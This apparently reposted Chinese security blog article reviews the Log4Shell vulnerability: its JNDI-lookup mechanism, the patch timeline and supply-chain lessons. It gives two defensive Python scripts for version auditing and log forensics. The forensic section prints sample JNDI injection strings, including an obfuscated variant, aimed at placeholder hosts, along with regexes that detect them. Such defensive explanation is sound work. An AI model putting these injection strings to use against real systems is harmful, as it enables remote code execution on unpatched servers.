打个日志也能把服务器打穿这个满分漏洞快五年还没死透"

admin 2026-10-22 13:59:09 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

打个日志也能把服务器打穿 这个满分漏洞快五年还没死透

原创

紫禁
紫禁

紫禁玄科

2026年10月18日 13:53
四川

去阅读

SECURITY · INTELLIGENCE

打个日志也能把服务器打穿 这个满分漏洞快五年还没死透

2026年10月17日 · 9 min

网络安全#历史漏洞

01

先看这个满分 满到没有给留级的空间

打日志也能打穿服务器:日志条纹、放大镜与警示三角

安全圈给漏洞打分有一套标准叫 CVSS,满分 10.0。平时见到 9.8 就算\"天花板\"了,因为要拿 10.0,得同时满足\"不需要登录、不需要用户配合、网络上直接打、拿到完整控制权\"。2021 年 12 月 9 日,一个编号 CVE-2021-44228 的漏洞把 10.0 拿满,圈里人更习惯叫它另一个名字:Log4Shell。

我到现在还记得那两天的状态。当时我正在做一个政企系统的渗透测试项目,晚上回酒店刷到通告,第一反应是\"不可能\"——出问题的不是什么冷门组件,是 log4j,Java 世界里记录日志的事实标准,几乎每个 Java 项目都在用。你要在 Java 项目里找一个\"绝对会出现\"的依赖,答案就是它。

一个用来\"打印日志\"的函数,怎么就能把服务器打穿?今天按历史漏洞的复盘路子把它讲透:它当年是怎么被发现的、原理到底卡在哪、修复为什么拖了三周、以及快五年过去,你现在该怎么自查。最后配两段能直接跑的脚本。

02

原理就一句话 日志会替你执行输入里的指令

log4j2 有一个\"贴心\"功能叫消息查找(message lookup):日志内容里如果出现 ${...} 这样的占位符,它会顺手帮你解析替换。比如日志里写 ${env:HOST},打印时就被替换成主机名。功能本身没问题——问题在于它把\"解析\"的权限开得太大了。

占位符里支持一种叫 JNDI 的查找协议,写成 ${jndi:ldap://服务器地址/资源}。JNDI 是 Java 的命名目录接口,本意是让程序去 LDAP、RMI 这类目录服务里取配置对象。关键在于:它取回来的可以是一个 Java 对象,而且早年的 Java 默认允许从远程地址加载这个对象的类。

于是攻击链只剩一步:把 ${jndi:ldap://自己控制的地址/构造好的对象} 塞进任何会被记录下来的输入——登录框的用户名、搜索词、HTTP 请求头里的 User-Agent、上传文件名,都行。应用老老实实调一句 logger.info(\"用户搜索了:\" + 输入),log4j 一解析占位符,就替攻击者连上了他控制的服务器,并把一个远程类加载进来执行。你打了一行日志,它替你执行了一段代码。

日志里的暗门:一行看似无害的输入,被解析成了通往外部的指令

用伪代码还原这个过程,比看任何图都直观:

原理伪代码(示意,非可运行代码)

user\_input = request.header(\"User-Agent\")   # 攻击者可控

logger.info(\"UA: \" + user\_input)          # 应用以为只是打日志

---- log4j 内部(简化)----

if \"${\" in message:

lookup\_result = jndi\_lookup(extract(message))  # 解析占位符

message = replace(message, lookup\_result)      # 这里发起了远程连接

write\_to\_log(message)

注意两个放大器。一是触发门槛低到离谱:不需要登录,一个请求头就够了;二是影响面是全家桶:不光你的代码直接用,你依赖的框架、你买的商业软件、你部署的中间件,都可能在替你用着一个带洞的版本。后来业界清点,受影响的软件以十万计。

03

回看那三周 一场教科书级的修复拉锯战

把时间线摆出来,这段历史比漏洞本身更有信息量。

这个功能是 2013 年随 log4j 2.0-beta9 引入的——也就是说,这扇暗门在互联网上敞开了八年,才被认真审视。2021 年 11 月 24 日,阿里云安全团队的研究人员向 Apache 报告了问题;12 月 6 日,2.15.0 发布,官方以为修完了。

然后就是经典的\"补丁不彻底\"剧本:研究者很快发现 2.15.0 在一些非默认配置下仍可绕过(CVE-2021-45046),12 月 13 日只好再发 2.16.0,把 JNDI 查找默认关掉、移除消息查找;两天后又冒出拒绝服务问题(CVE-2021-45105),12 月 17 日发 2.17.0;又过十来天,12 月 28 日的 2.17.1 才算把这条线收干净(CVE-2021-44832)。同一天,美国 CISA 已经在 12 月 17 日发布了紧急指令 ED 22-02,要求联邦机构限期处置——一个漏洞惊动国家级应急流程,可见分量。

这三周教会行业三件事。第一,修复不是发个版本就算完,2.15.0 那种\"打补丁式修复\"带来的二次伤害(大家以为升级了就安全了)比原漏洞更隐蔽。第二,临时缓解手段有版本门槛:当年很多人加的 -Dlog4j2.formatMsgNoLookups=true 参数,只对 2.10 到 2.14.1 有效,更低版本根本不认。第三,也是最疼的——你根本不知道自己用了多少 log4j。排查那阵子,我见过太多团队第一反应是\"我们没直接用\",然后在传递依赖树里翻出三个。

依赖链上的暗雷:你以为没用,其实它藏在三层依赖的下面

04

五年后复盘 这个漏洞为什么值得记这么久

有人会问:都快五年了,2.17.1 早出来了,还讲它干嘛?因为 Log4Shell 的\"死法\"特别慢。

漏洞公开后连续几年,安全厂商的威胁报告里它一直是被利用最多的漏洞前几名——原因不在于它多高深,而在于\"存量太大\":老旧的 OA、十年没动过的内部系统、买来就再没升级过的商业软件,全都还躺在 2.14.1 及以下。前两年我做项目时还撞见过 2.14.1 的原装版本躺在一套还在跑的业务里,问就是\"这个系统不能动\"。漏洞不看你的系统能不能动。

它还顺手改写了行业的两件事。一是软件供应链从口号变成日常:SBOM(软件物料清单)、依赖清单审计这些概念,2021 年之前是加分项,之后是及格线。二是\"传递依赖\"成为审计必查项:你自己代码一行没写错,架不住你引的框架引的工具包引着一个带洞的 log4j-core。

说个容易被忽略的细节,这也是我每次讲这个案例都要强调的:受影响的是 log4j-core,光有 log4j-api 不会被这个漏洞打到。当年一大波\"全网告急\"的误报,就是没分清这两个包。查版本的时候看准 artifactId,别把 2.17.1 的 api 和 2.14.1 的 core 放一起就以为万事大吉。

05

现在就动手 两段脚本把家底翻一遍

道理讲完,上工具。第一段 log4j\_audit.py 指向你的项目目录,把 log4j-core 的 jar 文件名和 pom/gradle 里的版本声明都翻出来,按\"受影响 / 修复不完整 / 已修复 / 1.x 停止维护\"四档给出结论。纯标准库、不联网、只读不写。我拿一个故意留着 2.14.1 的演示工程跑了一遍:

脚本一:log4j\_audit.py —— 依赖版本体检,本地运行

!/usr/bin/env python3

-\- coding: utf-8 -\-

\"\"\"log4j\_audit.py —— 依赖版本体检(纯标准库,本地运行,不联网)

用法: python3 log4j\_audit.py [目录]

扫描目录下的 log4j-core jar 文件名与 pom.xml / build.gradle 里的版本声明,

按风险等级输出结论。\"\"\"

import os

import re

import sys

import time

RISK\_RANGE = (\"2.0-beta9\", \"2.14.1\")   # 受影响区间(含端点)

def parse\_ver(v):

\"\"\"把 2.14.1 这类版本号解析成可比较的元组,beta/rc 排在正式版之前\"\"\"

m = re.match(r\"(\d+)\.(\d+)(?:\.(\d+))?\", v)

if not m:

return None

core = tuple(int(x or 0) for x in m.groups())

pre = 0 if re.search(r\"(beta|rc|alpha)\", v) else 1

return core + (pre,)

def grade(ver):

t = parse\_ver(ver)

if t is None:

return \"WARN\", \"版本号解析失败,人工确认\"

if t[0] == 1:

return \"WARN\", \"1.x 已停止维护,缺 2.x 的修复能力,建议整体升级\"

lo, hi = parse\_ver(RISK\_RANGE[0]), parse\_ver(RISK\_RANGE[1])

if lo <= t <= hi:

return \"RISK\", \"命中受影响区间 %s ~ %s,可被远程触发,必须升级\" % RISK\_RANGE

if t < lo:

return \"WARN\", \"版本过老(早于 2.0-beta9),行为不可预期,建议升级\"

if t < parse\_ver(\"2.17.1\"):

return \"WARN\", \"修复不完整的过渡版本(2.15~2.17.0),建议升到 2.17.1 以上\"

return \"OK\", \"版本已修复\"

def main():

root = sys.argv[1] if len(sys.argv) > 1 else \".\"

hits = []

for dirpath, \_dirs, files in os.walk(root):

for fn in files:

path = os.path.join(dirpath, fn)

m = re.match(r\"log4j-core-(\d[^-]\*\d)(?:-[A-Za-z0-9.]+)?\.jar$\", fn)

if m:

hits.append((\"jar\", m.group(1), path))

elif fn in (\"pom.xml\", \"build.gradle\", \"build.gradle.kts\"):

try:

text = open(path, encoding=\"utf-8\", errors=\"ignore\").read()

except OSError:

continue

for mm in re.finditer(

r\"log4j-core.{0,120}?\s\([^<\s]+)\s\\",

text, re.S):

hits.append((\"pom\", mm.group(1).strip(), path))

for mm in re.finditer(

r\"log4j[-.]core['\\"]\s\[:,]\s\'\\"['\\"]\", text):

hits.append((\"gradle\", mm.group(1).strip(), path))

if re.search(r\"\$\{[^}]\log4j[^}]\version[^}]\*\}\", text):

hits.append((\"property\", \"由变量间接引用\", path))

print(\"扫描目录:\", os.path.abspath(root), \"| 时间:\", time.strftime(\"%F %T\"))

if not hits:

print(\"未发现 log4j-core 依赖声明。注意:传递依赖要在完整构建产物里再查一遍。\")

return

worst = {\"RISK\": 0, \"WARN\": 1, \"OK\": 2}

level = \"OK\"

for kind, ver, path in hits:

g, why = grade(ver)

if worst[g] < worst[level]:

level = g

print(\"[%s] %-8s %-22s %s\" % (g, kind, ver, path))

print(\"        -> %s\" % why)

print(\"结论:\", {\"RISK\": \"有暴露面,今天就升级到 2.17.1+\",

\"WARN\": \"不干净,安排升级并复核\",

\"OK\": \"版本层面安全,继续盯传递依赖\"}[level])

if \\_name\\ == \"\\main\\_\":

main()

实际运行输出

扫描目录: /root/wx\_articles/vuln\_20261017/demo\_project | 时间: 2026-10-17 22:10:57

[RISK] pom      2.14.1                 /root/wx\_articles/vuln\_20261017/demo\_project/pom.xml

-> 命中受影响区间 2.0-beta9 ~ 2.14.1,可被远程触发,必须升级

[RISK] jar      2.14.1                 /root/wx\_articles/vuln\_20261017/demo\_project/lib/log4j-core-2.14.1.jar

-> 命中受影响区间 2.0-beta9 ~ 2.14.1,可被远程触发,必须升级

结论: 有暴露面,今天就升级到 2.17.1+

第二段 log4j\_forensics.py 查的是另一件事:当年的利用尝试在日志里留下的痕迹。它会识别直白的 jndi 查找、用 ${lower:x} 一层层拼出来的混淆写法,逐条报出行号和样例。演示日志里我放了三条不同写法的痕迹串(域名用的 .invalid 保留后缀,纯惰性文本):

脚本二:log4j\_forensics.py —— 日志痕迹排查,本地运行

!/usr/bin/env python3

-\- coding: utf-8 -\-

\"\"\"log4j\_forensics.py —— 日志痕迹排查(纯标准库,本地运行,不联网)

用法: python3 log4j\_forensics.py <日志文件或目录>

在历史日志里查找当年利用尝试留下的特征串,只读不写,输出命中行号与样例。\"\"\"

import os

import re

import sys

import time

利用尝试常见特征:直白的 jndi 查找,以及 lower/upper/env/date 等混淆外壳

PATTERNS = [

(\"直白查找\", re.compile(r\"\$\{\s\jndi\s\:\", re.I)),

(\"拼接混淆\", re.compile(

r\"\$\{[^{}]\(\$\{[^}]\\})+[^{}]\*:(ldap|rmi|dns|iiop|corba|nds):\", re.I)),

(\"截断绕过\", re.compile(r\"\$\{[^}]\jndi[^}]\ldap[^}]\*\}\", re.I)),

]

MAX\_SAMPLES = 3

def scan\_file(path):

total = 0

detail = []

try:

with open(path, encoding=\"utf-8\", errors=\"ignore\") as fh:

for lineno, line in enumerate(fh, 1):

for name, pat in PATTERNS:

if pat.search(line):

total += 1

if len(detail) < MAX\_SAMPLES:

sample = line.strip()[:120].replace(\"\t\", \" \")

detail.append((lineno, name, sample))

break

except OSError as exc:

print(\"  跳过 %s: %s\" % (path, exc))

return total, detail

def main():

if len(sys.argv) < 2:

print(\"用法: python3 log4j\_forensics.py <日志文件或目录>\")

return

target = sys.argv[1]

files = []

if os.path.isdir(target):

for dirpath, \_dirs, names in os.walk(target):

for fn in names:

if fn.endswith((\".log\", \".txt\", \".out\")):

files.append(os.path.join(dirpath, fn))

else:

files = [target]

print(\"排查范围:\", os.path.abspath(target), \"| 文件数:\", len(files),

\"| 时间:\", time.strftime(\"%F %T\"))

grand = 0

for path in sorted(files):

total, detail = scan\_file(path)

grand += total

if total:

print(\"命中 %d 条: %s\" % (total, path))

for lineno, name, sample in detail:

print(\"   行%-7d [%s] %s\" % (lineno, name, sample))

print(\"汇总: 共 %d 条疑似利用痕迹\" % grand)

if grand:

print(\"建议: 保留原始日志取证,回查对应时段的外联记录与落盘文件,\"

\"并把命中主机的 log4j-core 版本纳入优先处置。\")

else:

print(\"未发现痕迹。注意: 日志可能已滚动清理,没痕迹不等于没发生过。\")

if \\_name\\ == \"\\main\\_\":

main()

实际运行输出

排查范围: /root/wx\_articles/vuln\_20261017/demo\_logs | 文件数: 1 | 时间: 2026-10-17 22:10:57

命中 3 条: /root/wx\_articles/vuln\_20261017/demo\_logs/app.log

行1       [直白查找] 2021-12-10 08:12:33 INFO  [http-nio-8080] user-agent=${jndi:ldap://demo.invalid/a}

行2       [拼接混淆] 2021-12-10 08:12:40 INFO  [http-nio-8080] search=${${lower:j}${lower:n}${lower:d}${lower:i}:ldap://demo.invalid/b}

行4       [直白查找] 2021-12-11 02:40:10 INFO  [http-nio-8080] referer=${jndi:rmi://demo.invalid/obj}

汇总: 共 3 条疑似利用痕迹

建议: 保留原始日志取证,回查对应时段的外联记录与落盘文件,并把命中主机的 log4j-core 版本纳入优先处置。

两段脚本配合起来就是一套最小自查闭环:先用第一段确认\"装没装补丁\",再用第二段确认\"当年有没有人来敲过门\"。提示一句:从公众号复制代码如报\"非法字符 U+00A0\",把行内空格重打一遍即可。

日志漏洞自查流程:清点依赖 定位版本 升级补丁 翻查日志 排查痕迹 长期守护

06

按角色收个尾 各自该做的事就一屏

写代码的:升级到 2.17.1 以上是底线;暂时升不了的,从 jar 里移除 JndiLookup 类是官方认可的兜底;更重要的是把依赖清单当代码管——pom 里写明版本,CI 里挂一次依赖扫描,别让它默默漂着。别迷信那个 JVM 参数,它有版本门槛。

做运维和安全的:把这类\"到处都有\"的组件纳入资产清单,重点关照那些\"不能停、不能动\"的老系统——它们恰恰是攻击者最喜欢的存量。日志留够 90 天以上,跑一遍今天的第二段脚本,有命中就按痕迹回溯时段、外联和落盘文件。

普通读者:这个漏洞离你不远也不近。远的是你改不了它的代码;近的是你用的每一个 Java 写的网站、每一台智能设备的管理后台,都可能踩在它上面。你能做的是两件小事:别用来路不明的破解软件和\"绿色版\"工具(它们最喜欢打包老组件),看到\"系统升级维护\"的公告别嫌烦——那可能就是在装今天这颗补丁。

一个打日志的功能,敞了八年,修了三周,影响了几十万软件,火了快五年还没灭干净。历史漏洞的意义就在这:它提醒我们,最危险的从来不是哪个天才设计的奇招,而是所有人每天都在用、没人停下来想一想的那一行普通代码。

觉得有用?点个「在看」让更多人看到

紫禁玄科

专注网络安全 · 深度分析

    打个日志也能把服务器打穿这个满分漏洞快五年还没死透" 网络安全文章

    打个日志也能把服务器打穿这个满分漏洞快五年还没死透"

    文章复盘了2021年爆发的Log4Shell(CVE-2021-44228)满分漏洞,解析了JNDI查找机制导致远程代码执行的原理,回顾了修复过程中的补丁反复与供应链依赖风险。核心结论是老旧系统及传递依赖仍广泛存在该漏洞,建议立即使用提供的Python脚本扫描项目中的log4j-core版本,将风险版本升级至2.17.1以上,并建立SBOM依赖审计机制。
    同一张券为什么能领两次抢购背后的并发漏洞攻防演练" 网络安全文章

    同一张券为什么能领两次抢购背后的并发漏洞攻防演练"

    本文通过攻防演练揭示抢购场景下「先查后扣」导致的并发漏洞(TOCTOU),演示了库存超卖至负数的风险,并提出核心修复方案:将检查与扣减合并为带条件的原子SQL语句,同时引入幂等键机制防止重放攻击。文章结合真实案例强调法律后果,并给出自查清单供开发团队快速落地防护,建议优先采用数据库条件更新与唯一索引保障高并发下的数据一致性。
    七百家超市的冰箱一夜变成烤箱只差一个没人装的补丁" 网络安全文章

    七百家超市的冰箱一夜变成烤箱只差一个没人装的补丁"

    法国Intermarché等700多家超市冷柜遭远程攻击,攻击者利用丹佛斯AK-SM800A等冷藏控制平台已公开漏洞(CVE-2025-41450等),将冷柜温度改为50摄氏度并伪装成除霜周期,造成数千万欧元损失。事件暴露第三方服务商远程通道缺乏治理、补丁更新滞后等核心问题。文章提供两个Python脚本用于检测异常温度日志和固件支持状态,建议默认拒绝防火墙规则并加强OT设备可见性。
    评论:0   参与:  0